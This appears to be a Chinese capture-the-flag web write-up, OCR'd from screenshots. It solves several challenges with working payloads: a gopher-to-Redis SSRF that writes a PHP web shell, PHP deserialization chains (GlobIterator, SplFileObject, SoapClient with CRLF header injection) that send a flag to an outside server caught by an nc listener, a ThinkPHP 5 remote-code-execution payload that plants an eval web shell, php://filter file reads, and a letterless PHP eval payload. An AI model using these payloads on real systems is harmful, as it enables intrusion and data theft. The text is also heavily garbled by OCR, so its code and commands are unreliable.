Aconfig%0D%0A%2U3%0D%0Aset%0D%0A%2410%0D%OAdbF] lename%0D%0A%209%BD%0Ashell. php%OD%OA%2A1%0D%0A%244%0D%0Asaves0D%OASOA

When it's done you can get PHP Shell in /shell.php

HTRGETZ, KA Kpayload urlfmid— kG 3]:

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25246%250D%250A123123%250D%250
A%252A1%250D%250A%25248%250D%250Af1ushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A
1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%25
20%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25
243%250D%250Ad1r%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfigk2
50D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell . php%250D%250A%25
2A1%250D%250A%25244%250D%250Asave’%250D%250A%250A

AR E Ashell, #/5izEflaghi Al

< C O &8 1.14.71.112:44423/?url=http://127.0.0.1/shell.php?cmd =cat${IFS}/flag
O=x OQaf ﬂ TEERE ZHE FEE - ... () MEIRREE ( °- p‘ bmth CSDN—%HL‘%E%"H... 9 B2iFE666 - EEE @'ﬁ‘%ﬁ
<°php
hear her lucky number is 123123
hlghllght file(_ FILE_ );
$ch = curl init();

Surl=$ GET['url'];
if (preg_match ("/“https|dict|file:/is",Surl))

echo '"NO NO HACKING!!';
die():
}
curl_setopt (5ch, CURLOPT_URL, $url);
curl setopt($ch, CURLOPT HERDER, 0);
curl_exec ($ch);
curl close(5ch);
2>
REDIS00074 redis-ver3.2.111 redis-bitsA@ictime AGLtatiused-memAOApUA" SYC {ygtq w@nt a_ glrlfrled} yO§!SPI



SoEzUnser

<?php

class fxxk{
public $paro;
public $paril;
public $par2;
public $par3;
public $kelasi;

public function __construct($pare, $parl,$par2,$par3){
$this -> pare = $paro;
$this -> parl = $pari;
$this -> par2 = $par2;
$this -> par3 = $par3;
¥
public function newOne(){
$this -> kelasi = new $this -> par@($this -> parl,$this -> par2);

public function wuhu(){
echo('syclover 1", $this -> kelasi.' yyds');

public function gifei(){
//$ser = serialize($this -> Relasi);
//%unser = unserialize($ser);
$this -> kelasi -> juts_a_function();

public function _ destruct(){
if(lempty($this -> par@) && (isset($this -> parl) || isset($this -> par2))){
$this -> newOne();
if($this -> par3 == 'unser'){
$this -> qifei();

}
elseq{

$this -> wuhu();
}

public function _ wakeup(){
@include_once($this -> par2.'hint.php");

)

highlight file(__ FILE_ );
$hack = $ GET['hack'];
unserialize($hack);

WHTZESHEES BB —ANE, % XFE: PHP FAERKRIH/NS
B 5B — TFhint.php:

$a= new fxxk();

$a->par2 = 'php://filter/convert.base64-encode/resource=";
$b = serialize($a);

echo(urlencode($b));


https://whoamianony.top/2021/03/10/Web%25E5%25AE%2589%25E5%2585%25A8/PHP%20%25E5%258E%259F%25E7%2594%259F%25E7%25B1%25BB%25E7%259A%2584%25E5%2588%25A9%25E7%2594%25A8%25E5%25B0%258F%25E7%25BB%2593/

B3
<?php

$hint = A R RNTAEpost—S#message(Sifft:, "iwantflag”) 1
B—a#H url (BEemEE-turliiE—_ag'

shint = "EERNNEESATER F— MU =R,

Shint = BERTEE (FREFRN) XEESRNESEENENE
R, BEIfAAEEREEN 1270013048, {fepefdnEEEE (31
AR

{# F Globlteratorg8 S B — T H F 304

$a= new fxxk();

$a->par@ = 'GlobIterator';
$a->parl = 'glob://*';

$b = serialize(%$a);
echo(urlencode($b));

BASE644wHS ¥

< BASEG4RES

BASEG4:

PD9waHANCgOKJGhpbnQgPSANR5ZCR566n55CG5ZGY55qEG6aG 167
2icG9zd0S4g054quWPguaVsG1ic3NhZ2Uo5Z GKBK+J5LuW 7 7TyMImi
IYWS0ZmxhZylplOWS|CDIj6bkul DkuKrjALmIbAgdXJs7 7yl5a6D5Lyad
ZCR6BL+75LigdXJs5Y+R6EY CB5LIASLIgZmxhZyc7DQokaGludCAUPSA
n566h55CG57GY55qFE6aG1672i57yo5b2TEYmMNS5uusb2V5LIL5LIAS
Lig54m55q6K5paH5Lu25a556YeMJzsNCiRoaWS0IC49ICikvYbmmEK/
miJHKul3nn6XpgZPvvljkvaDkuZ
/njJzkul3liLDnmoTwvinmlofku7blpLnlkl3np7DlkoznrqHnklblkZjpobXpna
LnmoTIkI3np7Dwvlzmm7TInY/nmoTmtojmga

/mmK/ljérog7 3kud4xMjcuMC4wLjHIjrvorr
Ipl67vvizkvaDog73mg7PkuKrlip7msSXljrvnnlvnnivvvljliKkvmiasgSomrsL
INSYe65p2IISERKScY

?hack=0%3A4%3A" fxxk"%3A5%3A{s%3A4%3A"pare"%3Bs%3A12%3A"GlobIterator"%3Bs%3A4%3A " parl"%3Bs%3A8%3A" glob%3A%2F%2F*"
%3Bs%3A4%3A"par2"%3BN%3Bs%3A4%3A" par3"%3BN%3Bs%3A6%3A"kelasi"%3BN%3B}



&« C @ O 8 ctfrigelx.top/unserbucket/?hack=0%3A4%3A"fxxk"%3A5%3A{s%3A4%3A" par0"%3Bs%3A12% B8 %

O O af PY EL7EHE R -... () HEkE ( *- oo .. B bmth [#] CSDN - SUFFE#.. \Q EDFw666 - BaE [) 2es - T2anTa M-

JTNIS —7 parl = Jpari;
$this -> par2 = $par2;
$this -> pard = $par3;
}
public function newOne () {
$this -> kelasi = new $this -> par0($this -> parl, $this -> par2);
}
public function wuhu() {
echo (" syclover 1" 8this -> kelasi.’ yyds' ) ;
}
public function gqifei(){
$ser = serialize($this —> kelasi);

Sunser = wunserialize($ser);

$this —> kelasi —» juts_a function();

}
public function _ destruct() {
if(lempty ($this —> par0) &% (isset($this —> parl) isset($this —> par2))){
$this —> newOne();
if($this —> par3 == ’unser ){

$this —>» qifeil);
}

else{

}

$this —> wuhu();

public function _ wakeup() {
@include_once ($this —> par2. hint.php );
}
}

highlight file(_ FILE ):
Shack = $ GET[ hack’];
unserialize (Shack) ; syclover laaaaaaaaaaafxadwagaefae yyds

53| H s aaaaaaaaaaafxadwagaefae

BEE TR

$a= new fxxk();

$a->par@ = 'GlobIterator';

$a->parl = 'glob://aaaaaaaaaaafxadwagaefae/*';
$b = serialize(%$a);

echo(urlencode($b));

?hack=0%3A4%3A" fxxk"%3A5%3A{s%3A4%3A"par0"%3Bs%3A12%3A"GlobIterator"%3Bs%3A4%3A"parl"%3Bs%3A32%3A"glob%3A%2F%2Fa
23aaaaaaaafxadwagaefae¥%2F*"%3Bs%3A4%3A" par2"%3BN%3Bs%3A4%3A" par3"%3BN%3Bs%3A6%3A"kelasi"%3BN%3B}



&« - O @ QO 8 cifrigelxtop/unserbucket/?hack=0%3A4%3A"fxxk"%3A5%3A{s%3A4%3A par0"%3Bs%3A12% B8 ¢

Ok Dof P ERIE NSRS -.. () BEEME( - oo .. Efbmth [#]CSDN - SUFFa#Et.. \Q B3EEees - B [) Zex - ZomiTs

STAIS —7 parl — 3parl;
$this —>» par2 = Spar2:
$this -> par3 = 3$par3;
}
public function newOne() {
$this -» kelasi = new $this -> par0($this -» parl,$this —-> par2):
}
public function wuhu() {
echo (" syclover " $this > kelasi.’ yyds' ) ;

}

public function qifei()
§ser = serial

1allz

$unser = unse e(dser);
$this —>» kelasi —» juts_a_ function();:

public function _ destruct(){

if (lempty($this —-> par0) &% (isset($this -» parl) isset($this —» par2))){
$this > newOne():
if($this -» par3 == 'unser )/

$this —> qifei();
}

else{

b

Sthis —> wuhu();

public function _ wakeup() {
@include_once($this —» par2. hint.php );
}
}

highlight file(_ FILE_ ):
Shack = §_GET[ hack’];
unserialize ($hack) ; syclover |UcantGuess.php yyds

IS E

B4 7 B I SpIFileObject kA T, X BLAT LA F php fh B il 1T base64 N &

$a= new fxxk();

$a->par@ = 'SplFileObject’;

$a->parl = 'php://filter/convert.base64-encode/resource=aaaaaaaaaaaftxadwagaefae/UcantGuess.php’;
'rb';

$b = serialize(%$a);

echo(urlencode($b));

$a->par2

0%3A4%3A" Fxxk"%3A5%3A{s%3A4%3A" par0"%3Bs%3A13%3A"SplFileObject"%3Bs%3A4%3A" parl"%3Bs%3A82%3A" php%3A%2F%2Ffilter%
2Fconvert.base64-encode%2Fresource’%3Daaaaaaaaaaatxadwagaefae%2FUcantGuess.php"%3Bs%3A4%3A"par2"%3Bs%3A2%3A"rb"%3
Bs%3A4%3A"par3"%3BN%3Bs%3A6%3A"kelasi"%3BN%3B}



» —%
¢« - C @ O 8 ctfrigelx.top/unserbucket/?hack=0%3A4%3A"fixk"%3A5% 3A{s% 3A4% 3A" par0" %3Bs%3A13% BB <% N O @ B &% O 2 B¢ 9 =

D= Oaf P EEaE»eTE - () s (- )20 . Bomth [@CSON - 2UFFsmt. ) BoRmess - B2E () w2z wewlFs M MK € Paper (§ AESIF Seebug ... &@%E De=mize reas
$this -> kelasi = new S$this —> par0($this -> parl, Sthis -> par2); 9
}
public function wuhu(){

}

public

}

public

}
public

}

echo(’ syclover I’ 8this -> kelasi.’ yyds’):

function _ destruct(){

if (lempty ($this —> par0) &% (isset(S$this -> parl) isset($this —» par2))){
$this -> newOne():
if($this -> par3 == unser’){

$this —> qifei():
}
else{

$this = wuhu():
}

function _ wakeup() {
@include_once ($this —-> par2. hint. php’);

highlight_file(_FILE_):

$hack = $_GET[ hack’]:

unserialize ($hack) ; syclover

IPDO9waHANCgOKIGNsX2lwlD0gJFOTRVIWRVIbJOhUVFBfQOXJRUSUX0IQJ107DQokeGZmX2IwIDOgJFOTRVIWRVIbJOhUVFBAWFOGT1JXQVIERURIRk9SJ107 DQokZmxhZyA9ICATWUNT7VW5ZZXIXYWwxe
/P28/PycpOWOKFQOKZWxzZXsNCiAgICBIY2hvKCdqdXNOX2Zvel9tZSe pOWOKFQOKDQpPZigkX1NFUIZFUIshUKVNT1RFXOFERFINXSASPTOG)ZEyNyAwLjAUMScpewOKICAGIGImKCRFUESTVFsnbWVze2FnZs

yyds

v

HEAUREE T, 15%Iflag

Pl =y BEXFWNETE DADEDS B R/ DADCO45Ti
AL BASE64:
<7php PD9waHANCgOKJGNsX2iwID0gJFITRVIWRVJIbJOhUVFBQOXJRUS
UX0IQJ107DQokeGZmX2iwID0gJFITRVIWRVIbJOhUVFBIWFIGT1J
$cl_ip = $_SERVER['HTTP_CLIENT_IPT; XQVJERURIRK95J107DQokZmxhZyA9ICdTWUNTVW5zZXIxYWwxej
$xff_ip =% SERVER[HTTP_X_FORWARDED FORT, NfaXNfc29fZnh4a30nOw0KaWYoKCFIbXB0eSgkY2xfaXApfHwhZW1w
$flag = 'SYC{Unser1al1z3_is_so_fxxk} dHkoJHhmMZ19pcCkpkXsNCIAgICBIY2hvKCdqdXNOX3RoaXM/Pz8
if((lempty($cl_ip)l|lempty($xfT_ip))} IPz8/PycpOw0KIQOKZWxzZXsNCiIAgICBIY2hvKCdgdXNOX2Zvcl9tZS
echo(just_this????27227"); cpOwWOKfQOKDQppZigkX 1NFUIZFUIsnUKWNT1RFXOFERFINXSASPTO
} gJzEyNy4AwLjAuUMScpewOKICAgIGIMKCRIUEITVFsnbWVzc2FnZ Sddl
elsef D09PSAnaXdhbnRmbGFnJyAmJiBpc3NIdCgkX1BPU1RbJ3VybCddK
echo(just_for_me'); SI7DQogICAgICAgQICNIYZhvKCRmbGFnKTsNCiAgICAgICAgZmIsZVY
} nZXRfY29udGVudHMoJFIQT 1NUWyd1cmwnXS4nP2ZsYWc9JydkZm
xhZyk7DQoglCAgFQOKFQOK
if($_SERVER[REMOTE_ADDR'] ==="127.0.0. 1"}
iftf$_POST[message’] === "iwantflag’ && isset($_POST[url)}
#echo($flag);

}

file_get_contents($_POST[url]."?flag=".%flag);

}

XEH SR AT R, SEFr L7 ZE A SoapClient

i

WIERR, FEposttéS: message=iwantflagdurl=vps , REUNAMHMEI127.0.0.1K1%, 1B EF Hssrf
f§fiSoapClientZk, )5k _ call, #Hssfkik127.0.0.1 k% FE RS, HBigvpsEkiag



new fxxk
'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php'
'message=iwantflag&url=http://110.42.134.160:8080"

pare 'SoapClient’

parl null
par2 array('location’ 'user_agent'=>"'bmth”*X-Forwarded-For:127.0.0.1~"Content-Type: application
/X-www-form-urlencoded'. '~ Content-Length: ' string)strlen TANANT 'uri’ "http://127.0.
0.1'
par3 'unser’
serialize

str_replace('*',"\r\n"

echo(urlencode

0%3A4%3A%22Fxxk%22%3A5%3A%7Bs%3A4%3A%22pare%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A4%3A%22parl%22%3BN%3Bs%3A4%3A%2
2par2%22%3Ba%3A3%3A%7Bs%3A8%3A%221ocation%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Funserbucket%2Faaaaaaaaaaafxa
dwagaefae%2FUcantGuess.php%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A152%3A%22bmth%0D%0OAX-Forwarded-For%3A127.0.0.1%0
D%@AContent-Type%3A+application%2Fx-www-form-urlencoded%@D%@AContent-Length%3A+48%0D%0A%OD%0Amessage%3Diwantflag
%26url%3Dhttp%3A%2F%2F110.42.134.160%3A8080%22%3Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3B%7D
s%3A4%3A%22par3%22%3Bs%3A5%3A%22unser%22%3Bs%3A6%3A%22kelasi%22%3BN%3B%7D

ubuntu@VM-0-4-ubuntu:~% nc -lvnp 8088

Listening on [0.0.0.08] (family @, port
Connection from 101.1 238.43 6834 rece

GET /7flag=5YC{Unserlallz3 is so_fxxk} HTTP/1.0

Host: 110.42.134.160:3080
Connection: close

I

RIAthinkphp5, B HE:AE FHpayloadif— T :

s=/Index/\think\app/invokefunction&function=call_user_func_array&vars|[0|=phpinfo&vars|1 1



<« - C @

D=k ODcf @ E2HE SR - ..

O & 106.55.154.252:500/public/?s=/Index/\think\app/invokefunction&function=call_user fun

C:
(9 meEeEg (- )on .. B bmth CSDN - TlFF&=it.. \Q O2iFEees - e [ 2ox - 225

| PHP Version

| 7.1.33

allow_url_fopen On {
allow_url_include Off {
arg_separator.input & i
arg_separator.output & i
auto_append file no value
auto_globals _jit On |
auto_prepend file no value
browscap no value
default_charset UTF-8 1
default mimetype text/htmi i
disable_classes no value

disable_functions

dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail imap_open,imap_mail putenv,ini_set,apache_s
etenv,symlink link,ini_set,chdir

KB fFfEdisable_functions, ¥ T HT A M AIHAT @ R EL, =AEXHRILE BRELES, ZltmpART

display_errors Off {
display_startup_errors Off t
doc_root no value
docref ext no value
docref_root no value
enable_dl Off {
enable_post data_reading On t
error_append_string no value
arrar lan nn valie

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/shell

.php&vars[1][ |=<?php @eval($ POST[O]);?>

<« > C @

D= O ctf J) ELas s F - ...

Q8 ray&vars[0]=file_put_contents&vars[1][]=/tmp/shell.php&vars[1][]=<?php @eval($_POST[0]);?> g

() vEEREE ( °- o0 .. ) bmth CSDN - BWFf&Edt.. 9 B2Fke6s - BEE [) 2% - Z28lTs W &0

25

RJE BT ERERPE]

?’s=index/\think\Config/load&file=../../../../tmp/shell.php



5 3lflag

@ =Ews
AntSword #E B[ &l
« = 5 106.55.154.252

[ imi§: /flagoggggogl12365533toggogggg

(flangggoogg12365533togggoaag

1 SYC{W31lceme_ te h@cker b@se}
2

Be i Sk 19 B
AR A BB BT



BEEIFG K —Adebug.php, Vila

C o 8 view-source:http://106.55.154.252:8010/
Ot Oaf ﬂ TEEE F2 FE - .. () BEEREE ( °- )o0 .. n‘ bmth CSDN - B FFESEt... A aiFETe6s - B=E @ ZeE-%

J :]

“data”: [
{"major”: "iIHHL”, "grade”: "20197,7id”: 2019052059, "name”: “4=K”, “sex”: "H”, “subject”
{"major”: "M%z”, "grade”: “2019”,"id”: 2019031063, "name”: “F ", "sex”: "H”, "subject”:
{"major”: "M%z”, "grade”: “2019”,"id”: 2019122258, "name”: "HEH", "sex”: "H”, "subject”:

]

1)

$( #search table’ ). basictable ({
breakpoint: 768
1
$("#search_table”). reponsetable ({
”id”:”search_table”,
“operation”: “editer”,
“type”:“numbers”,
“colum”: [
{"field”: "major”, "title”: "Fdk"},
{"field”: "grade”, "title”: "4EZ"},
{/{field/!: f{id/!’ /{title/!: /{%%/{}’
{"field”: "name”, "title”: "ItE44"},
{"field”: "sex”, "title”: "HW"},
{"field”: "subject”, "title”: "R H"},
{"field”: "score”, "title”: “Hk&"}
]’
"data”: []

I3
! Adr—-"""”,/

{!— . /debug.php —>

function checkId() {//fifr*FTEEGIE
var id = $ ("#input_id”).val()
console. log(“aaa”)
var pattern=/ \d{7}$/;
if(id = 7" || id == mull) {
$ ("#idNumWarn”). html ("2~ 5 ANgEN=E 7))

return false;
1 1 Er A I | 1T I FACEE RN r

Ziﬂﬂﬁ%phpﬁbtbil, /debug.php?file=php://filter/convert.base64-encode/resource=debug.php , EHE—TF
debug.php:

<?php

echo "<h1>REZEIPHPIIMN</h1>";
error_reporting(9);
$file=$ GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "NO! ! !' ";
exit();
b
include($file);

?>

index.php:



= curl_init
curl_setopt CURLOPT_URL ‘url’
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt CURLOPT_HEADER, ©
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec
curl close
/) RE R F#56172.17.0.0/24 MR T HLTFH GV T2 A LB RS B & iJFfipassword /2123456, name Zadmin, //result £
HHH60 THFERER! ! !
?>

R Essrf, BHE—T, KMAMN http://172.17.0.7/

noobPHP

T www.zip, HiF—T, FEIAdminController.php:
TAIE FrolesHH ROLE_ADMIN , {HYEM KB &roles R /&4 ROLE_USER , FB-A 5k 75 E A

AdminController AbstractController

~

index(Request ): Response

->denyAccessUnlessGranted(

->isGranted(

~
4

Response(

= -> ->get(
(preg_match( [
Response(

->render(

% #UserController.php:

bntroller.php LoginAuthenticator.php UserRepository.php LoginController.php IndexController.php UserController.php
(Reqguest ): Response

->denyAccessUnlessGranted(

->get (

&& is_array(

array_unshift(
< count(




RIENBARNRID S IR A —H, HEFHE, 2HKHR
array_unshift "ROLE_USER"

M4 FRATEN ?r[0]=ROLE_SUPERADMIN&r[1]=ROLE_ADMIN 2% J:

B #F&F(Save) f ) HRAIGE(Embed) P $457(Run) +

("ROLE_SUPERADMIN", “ROLE_ADMIN");
: "ROLE_USER');

+

OLE_USER™

5) "ROLE_SUPERADMIN"

[1
st
[

W
N

"ROLE_

W5 BEAT

unset
=array_values



A EE(Embed) P HBiT(Run)  +

OLE_SUPERADMIN", "ROLE_ADMIN");
s, "ROLE USER');
ROLE_USER™

i++){
E_USELESS|ROLE_SUPERADMIN#i', %ge

5) "ROLE_SUPERADMIN"

®) “ROLE_ADMIN"

"ROLE_USER™

string(10) “ROLE_ADMIN"

exited with status @

EF3Y i=1 KRS unsetiE A 14E AKIROLE_SUPERADMIN, 4R J5 #%3% [B] 85 40648 Bt 4, AOJF45 LA, F—A
MEELI=2T, H#ESE TROLE_ADMIN

110.42.233.91:250/roles?r[0]=ROLE_SUPERADMIN&r[1]=ROLE_ADMIN

) mengeEnE (- )o0 .. B bmth [@] CSDN - BUFFRE.. 9 B3EFw666 - BEE ) &

Welcome bbbbbb &

« ROLE_USER
« ROLE_ADMIN |

BT oRBZ

if (preg_match("/[a-zA-Z]|\![\@| \#[\%I\~\&[\* [\ [N IN NN [\~ [N\ IN[[T/77, ) {
new Response( 'Wow,not this®@');die();

}

eval( )

R T 78 Bz FE. BG5S, PESE, ERARAELEET. MES. 2505, UAIELRCTFRHT
getshell: https://nop-sw.github.io/wiki/wp/RCTF/

1/0 3R] INF /0%
0/0 iR [E NAN

MrBaH, JUMEEEFRSH


https://nop-sw.github.io/wiki/wp/RCTF/

<?php

$a = '$ = ((0/0).(0)){1};$_ =% ;$ ++;% ++;$ ++;$ ++;$ ++;% ++;8 =% ;% =% ;% ++;$ ++;$  ++;%  ++;$
P S S S S = 5 S S o S & 0 S & S o o S S S S & G S o S S o R S S S S S o o S 5 S S S
;9 ++;% ++;9 ++59 =% ;% =% ;% =% ;% =% ;% ++;%  ++;%  ++;%  ++;$  ++;$  ++;% ++;9 ++;9 ++35
LR S P S S SIS S o o S o o S o o S o o S o o S o o S o o S & o S o o S o o S o SRR L S S S
_+;$ ++% 458 ++5% 458 4+ 458 =% 5% =% ;% ++;$ ++;9 ++;% ++39 =% ;% =% ;%  .=%
SIS SIS SR S S S S S 5 S S S S G 5 G 5 0 S 5 S 5 SPE S S S S S o N o S o S o S
SR S S S SR SO SR S S o G S o S S o P S S o S S o o S S SR S S S S I o o S 5
= 4 T = S = O S = S = O S S S = S S S O S o S S = S S S S o S S = O S SR =% ;%
4% ++5;% ++59 Lt I = o SR = S o S = o S o S = O S = O S = O SR = O SR = S SR = 4 . = 4 I
S S o S S = $ 5% ;b ;b ;b 5P 5P 5P 5P 5P 4459
S0 T & 4 S & 5 S o o S & o S & 0 S & S o o S & o SR & 0 S & 5 S & o S & o S & 4 L I S S
SIS T & 4 S & 5 S o o S S o S & 4 SR & S & o S & o S & 0 S & 5 S o . S o o S o S S o S o
5 % S & 5 S - o S TS S S S & 0 SR & 0 S o 5 S o o S & 0 S & 5 S o o S o o S & 4 S
SR T S S & 5 S & o S o o S & 0 S & O S & 5 S o . S & o N I S S P S & 0 S o o S o
$_ ++5$ =% ;% I IS TR & o S & % S & o SR o o S & o S & O S & 5 S o . S o o S & S S & . S
% =% ;% ($___ _(O){e});'; //SYSTEM(GETALLHEADERS(){6})

echo(urlencode($a));

++;$  +

POST ~  110.42.233.91:250/admin?code=%24_%20%3D%20((0%2F0).(0))%7B1%7D%3B%24__%3D%24_%3 m
Params @ Authorization Headers (11) Body Pre-request Script Tests Settings Cool
User-Agent (O PostmanRuntime/7.28.4
Accept (@ * %
Accept-Encoding ® gzip, deflate, br
Connection & keep-alive
0 Is -al [tmp
Cookie PHPSESSID=1c73edB8c2b7f7533040b1b...
Key Value Description
Body Cookies (1) Headers (6) TestResults @ 2000k MBms 257KB Save Respon:
Pretty Raw Preview Visualize HTML =) l_'|:|

total 11812

drwxTwxrwt 1 root root 16384 Oct 26 09:32 .

drwxr-xr-x 1 root root 4096 Oct 18 10:26 .. /

-TwxrwxIwx 1 www-data www-data 12013568 Oct 25 85:43 npc

——————— 1 www-data www-data 789 Oct 25 14:23 sess_18eeddebbbefd364aa90900744£96d4e
-IW------- 1 www-data www-data 832 0Oct 26 09:32 sess_1c73ed8c2b7f7533040b1b3ead17£69d
-IW------- 1 www-data www-data 787 Oct 25 13:23 sess_21af069190ead03d4baacc7626ec279¢C

-IW------- 1 www-data www-data 169 Oct 25 14:21 sess_394ad93d96743b28781009494ch7a941
-IW------- 1 www-data www-data 169 0Oct 26 05:15 sess_3a9l1lebbd465e564115e5%e7desSaaebfa

[ < T o« T B o S 4 B A L R
|
—
=

3 Damtmamnem M Mmemer i 1

XBER Efenpe, SRIEEIsocks5M8HE, % E172.20.0.4193306% 1, HAIIEEHBIRA, AEEUdMRML, #H—/ B
SRIE X RII172.20.0. 12 FEHIvE, EEEEE, 80 OMAREE, AW RWFES002, WM, KILN ThinkPHP V5.0.10

breakout

TR



<?php
highlight file(__ FILE_
[/ IR TG R4 HE? F i 2 [T GESF B G2

= "yl A Pls AP
// ctfiE BRI UG A
if (substr(md5 "auth’ 0,6) == "666666"
'code’

BHAREM - )~ B, BAERENR system, BT THRBZERB—NFRE: rt,+13

= '~ 1@#$%N&* ()_+\|/?.,<> -={}[]1234567890abcderfhijklmnopqgrst"

for =0 <strlen ++
for =0 <strlen ++
if (ord n >64 && ord n <91
echo . " xor ' . . is !
echo chr(ord "
echo ord "
echo "\n"
elseif (ord 2 >96 && ord 2 <122
echo . ' xor ' . . is !
echo chr(ord N o
echo ' ' .ord n
echo "\n"

yihuo.php

t xor

RIERAEHT, HHEmd5HT/S AL A666666, HEAT R



import hashlib

for i in range(1l, 100000001):
s = hashlib.md5(str(i).encode("UTF-8")).hexdigest()[0:6]
if s == "666666":
print(i)
break

B HF. 3185471
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